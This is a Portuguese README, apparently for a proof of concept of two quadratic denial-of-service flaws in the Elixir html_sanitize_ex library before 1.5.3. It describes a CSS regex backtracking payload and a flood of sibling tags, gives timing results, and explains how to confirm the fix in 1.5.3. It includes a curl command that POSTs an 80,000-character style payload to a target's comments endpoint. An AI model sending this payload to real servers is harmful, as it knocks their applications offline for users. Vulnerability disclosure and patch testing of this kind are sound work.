
PoC demonstrando DoS quadrático no Elixir html_sanitize_ex via HTML maliciosamente elaborado; inclui benchmarks de tempo, exploração remota via curl e verificação contra versões corrigidas.
Negação de serviço quadrática em html_sanitize_ex < 1.5.3.
A biblioteca existe para neutralizar HTML não confiável, mas dois caminhos de código superlineares independentes permitem que uma única requisição maliciosa trave um escalonador (scheduler) BEAM por segundos. Algumas requisições concorrentes saturam o pool de escalonadores e o aplicativo para de responder. O impacto é somente de disponibilidade (CVSS 8.2 Alto).
| CVE | Componente | Fraqueza | Gatilho |
|---|---|---|---|
| CVE-2026-68749 | HtmlSanitizeEx.Scrubber.CSS.scrub/1 | CWE-1333 (retrocesso de regex) | longo trecho de <style> com caracteres de palavra e um : final |
| CVE-2026-68750 | HtmlSanitizeEx.Traverser.traverse/2 | CWE-407 (travessia quadrática) | sequência plana de tags irmãs permitidas (ex.: <b>a</b> × 20.000) |
CVE-2026-68749 só é acessível via
html5/1(ou um scrubber personalizado que estenda:html5). CVE-2026-68750 está presente em todos os pontos de entrada públicos, incluindobasic_html/1,markdown_html/1estrip_tags/1.
mix.exs # fixa html_sanitize_ex na versão 1.5.2 (a última versão vulnerável)
poc.exs # gera ambos os payloads e mede os tempos
Pré-requisitos: Elixir ≥ 1.14 e conexão com a internet (para baixar a dependência Hex).
mix deps.get # baixa html_sanitize_ex 1.5.2
mix run poc.exs # executa as duas demonstrações e exibe os tempos
Esperado na versão vulnerável 1.5.2 — os tempos dos ataques superam em muito os dos casos benignos. O formato é (ilustrativo; os valores absolutos dependem do hardware, mas as duas âncoras de ataque vêm diretamente do advisory do CNA da EEF):
=== html_sanitize_ex 1.5.2 ===
CVE-2026-68749 — CSS scrubber (html5/1), 80000 caracteres de 'a'
benigno (…a!): ~ milissegundos (retorna quase instantaneamente)
ataque (…a!:): ~ 2,4 segundos (milhares de vezes mais lento)
a diferença é um único caractere ':'
CVE-2026-68750 — traverser (basic_html/1), irmãos <b>a</b>
2.000 irmãos: ~ milissegundos
20.000 irmãos: ~ 1,7 segundos (10x a entrada -> muito mais que 10x o trabalho)
razão > 10 revela crescimento superlinear
O ponto é a razão: o ataque é ordens de magnitude mais lento que uma entrada
benigna de tamanho comparável, e 10× a entrada custa muito mais que 10× o trabalho.
Os valores de 2,4 s (<style> de 80 KB) e 1,7 s (20.000 irmãos) são citados dos
advisories upstream.
Edite mix.exs e ajuste a versão fixada para a versão corrigida:
@vulnerable_version "1.5.3" # ou posterior — 1.5.3 contém ambas as correções
Depois execute novamente:
mix deps.update html_sanitize_ex
mix run poc.exs
Na versão 1.5.3, os tempos dos casos benignos e de ataque convergem para a mesma ordem de magnitude, porque a correção limita o grupo de regex ([-\w]+ → [-\w]{1,64}) e reescreve o traverser para um único Enum.reduce + um List.flatten/1 (O(n²) → O(n)).
Em um aplicativo Phoenix real, essas chamadas ocorrem onde quer que o servidor sanitize texto rico fornecido pelo usuário. O atacante apenas faz POST do payload como valor do campo — sem exigir autenticação:
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://target.example.com/comments \
--data-urlencode "body=$PAYLOAD"
Oito requisições concorrentes como essa fixam todos os oito escalonadores BEAM em um host de 8 núcleos.
Somente para fins educacionais / testes autorizados.